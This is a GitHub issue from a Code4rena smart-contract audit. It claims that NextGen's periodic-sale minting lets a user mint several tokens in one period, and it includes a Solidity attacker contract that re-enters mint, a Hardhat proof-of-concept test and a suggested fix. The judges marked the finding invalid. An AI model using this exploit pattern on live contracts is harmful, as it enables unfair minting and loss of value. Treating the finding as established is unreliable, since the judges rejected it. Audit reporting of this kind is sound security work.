Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

User can mint more than one tokens per period #1809

Closed
c4-submissions opened this issue Nov 13, 2023 · 3 comments
Closed

User can mint more than one tokens per period #1809

c4-submissions opened this issue Nov 13, 2023 · 3 comments
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-688 edited-by-warden unsatisfactory does not satisfy C4 submission criteria; not eligible for awards

Comments

@c4-submissions
Copy link
Contributor

c4-submissions commented Nov 13, 2023

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/smart-contracts/MinterContract.sol#L249-L252

Vulnerability details

Impact

Users have the option to mint more than one token during a specific period, provided that the previous tokens for that period have not been spent (minted), and the tokens are accumulated.

Consider the scenario in which no one mints tokens for the previous four blocks. The timePeriod is 10 seconds, and let's assume each new block is created every 10 seconds.

  • Timestamp 10: No one mints.
  • Timestamp 20: No one mints.
  • Timestamp 30: No one mints.
  • Timestamp 40: During this period, the user has the opportunity to mint four tokens.

Vulnerability details

The MinterContract.mint function is used by users to mint their tokens. If the collectionPhases[col].salesOption is set to 3, this will trigger the logic for Periodic Sale (mint), which should limit users to mint only one token during each time period.

if (collectionPhases[col].salesOption == 3) {
    uint timeOfLastMint;
    if (lastMintDate[col] == 0) {
        // for public sale set the allowlist the same time as publicsale
        timeOfLastMint = collectionPhases[col].allowlistStartTime - collectionPhases[col].timePeriod;
    } else {
        timeOfLastMint =  lastMintDate[col];
    }
    // uint calculates if period has passed in order to allow minting
    uint tDiff = (block.timestamp - timeOfLastMint) / collectionPhases[col].timePeriod;
    // users are able to mint after a day passes
    require(tDiff>=1 && _numberOfTokens == 1, "1 mint/period");
    lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
}

However, the lastMintDate[col] is calculated by gencore.viewCirSupply(col) - 1 multiplied by collectionPhases[col].timePeriod, which leads to the problem when one user can mint multiple tokens in one period because the previous period's available tokens are not minted, and they have been accumulated.

  • timePeriod is set by the admin in setCollectionCosts
  • circulating supply is incremented each time the new token is minted

Proof of Concept

To execute the POC, you will need to utilize the following Attacker contract. Place this contract in smart-contracts/Attacker.sol.

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";
import "./INextGenCore.sol";

interface IMinter {
    function mint(
        uint256 _collectionID,
        uint256 _numberOfTokens,
        uint256 _maxAllowance,
        string memory _tokenData,
        address _mintTo,
        bytes32[] calldata merkleProof,
        address _delegator,
        uint256 _saltfun_o
    ) external payable;

    function getPrice(uint256 _collectionId) external view returns (uint256);
}

contract Attacker is IERC721Receiver {
    IMinter minter;
    INextGenCore core;
    uint256 collectionId;
    uint256 mintedOver = 0;

    constructor(address _minter, address _core, uint256 _collectionId) {
        minter = IMinter(_minter);
        core = INextGenCore(_core);
        collectionId = _collectionId;
    }

    function mint() public {
        bytes32[] memory proof = new bytes32[](0);

        minter.mint{value: minter.getPrice(collectionId)}(
            collectionId,
            1,
            0,
            '{"tdh": "100"}',
            address(this),
            proof,
            address(this),
            2
        );
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        if (
            core.retrieveTokensMintedPublicPerAddress(1, address(this)) ==
            core.viewMaxAllowance(1) - 1 &&
            mintedOver < 10
        ) {
            mintedOver++;
            mint();
        }

        return this.onERC721Received.selector;
    }
}

Next, insert the following test case into test/nextGen.test.js and execute it using the command hardhat test ./test/nextGen.test.js --grep 'Mint by period'

describe("Mint by period", function () {
  const COLLECTION_ID = 1;
  const MAX_COLLECTION_PURCHASES = 10;
  const nowTimestamp = Math.floor(Date.now() / 1000);

  beforeEach(async function () {
    ({ signers, contracts } = await loadFixture(fixturesDeployment));

    //Verify Fixture
    expect(await contracts.hhAdmin.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhCore.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhDelegation.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhMinter.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandomizer.getAddress()).to.not.equal(ethers.ZeroAddress);
    expect(await contracts.hhRandoms.getAddress()).to.not.equal(ethers.ZeroAddress);

    //Create a collection & Set Data
    await contracts.hhCore.createCollection(
      "Test Collection 1",
      "Artist 1",
      "For testing",
      "www.test.com",
      "CCO",
      "https://ipfs.io/ipfs/hash/",
      "",
      ["desc"]
    );
    await contracts.hhAdmin.registerCollectionAdmin(1, signers.addr1.address, true);
    await contracts.hhCore.connect(signers.addr1).setCollectionData(
      COLLECTION_ID, // _collectionID
      signers.addr1.address, // _collectionArtistAddress
      MAX_COLLECTION_PURCHASES, // _maxCollectionPurchases
      10, // _collectionTotalSupply
      0 // _setFinalSupplyTimeAfterMint
    );

    //Set Minter Contract
    await contracts.hhCore.addMinterContract(contracts.hhMinter);

    //Set Randomizer Contract
    await contracts.hhCore.addRandomizer(1, contracts.hhRandomizer);

    //Set Collection Costs and Phases
    await contracts.hhMinter.setCollectionCosts(
      COLLECTION_ID, // _collectionID
      0, // _collectionMintCost
      0, // _collectionEndMintCost
      0, // _rate
      86400, // _timePeriod
      3, // _salesOptions
      "0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B" // delAddress
    );
    await contracts.hhMinter.setCollectionPhases(
      COLLECTION_ID, // _collectionID
      nowTimestamp, // _allowlistStartTime
      nowTimestamp + 1, // _allowlistEndTime
      1999999999, // _publicStartTime
      3000000000, // _publicEndTime
      "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870" // _merkleRoot
    );
  });

  context("Minting", () => {
    const mintTokenFromCollection = async (user, collection) => {
      return await contracts.hhMinter.connect(user).mint(
        collection, // _collectionID
        1, // _numberOfTokens
        0, // _maxAllowance
        '{"tdh": "100"}', // _tokenData
        user.address, // _mintTo
        [], // _merkleRoot
        user.address, // _delegator
        2, //_varg0
        { value: await contracts.hhMinter.getPrice(collection) }
      );
    };

    it("The user can mint only one token per period (86400 sec)", async function () {
      expect(parseInt(await contracts.hhCore.viewMaxAllowance(COLLECTION_ID))).to.equal(MAX_COLLECTION_PURCHASES);
      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, signers.addr2.address))
      ).to.equal(0);

      await ethers.provider.send("evm_setNextBlockTimestamp", [2000000000]);
      await ethers.provider.send("evm_mine");

      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);
      await mintTokenFromCollection(signers.addr2, COLLECTION_ID);

      expect(
        parseInt(await contracts.hhCore.retrieveTokensMintedPublicPerAddress(COLLECTION_ID, signers.addr2.address))
      ).to.equal(8);
    });
  });
});

Tools Used

Manual Review

Recommended Mitigation Steps

Consider setting lastMintDate to the current timestamp.

- lastMintDate[col] = collectionPhases[col].allowlistStartTime + (collectionPhases[col].timePeriod * (gencore.viewCirSupply(col) - 1));
+ lastMintDate[col] = block.timestamp;

Assessed type

Context

@c4-submissions c4-submissions added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Nov 13, 2023
c4-submissions added a commit that referenced this issue Nov 13, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #688

@c4-judge
Copy link

c4-judge commented Dec 6, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

@c4-judge c4-judge added the unsatisfactory does not satisfy C4 submission criteria; not eligible for awards label Dec 6, 2023
@c4-judge
Copy link

c4-judge commented Dec 9, 2023

alex-ppg marked the issue as unsatisfactory:
Invalid

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-688 edited-by-warden unsatisfactory does not satisfy C4 submission criteria; not eligible for awards
Projects
None yet
Development

No branches or pull requests

4 participants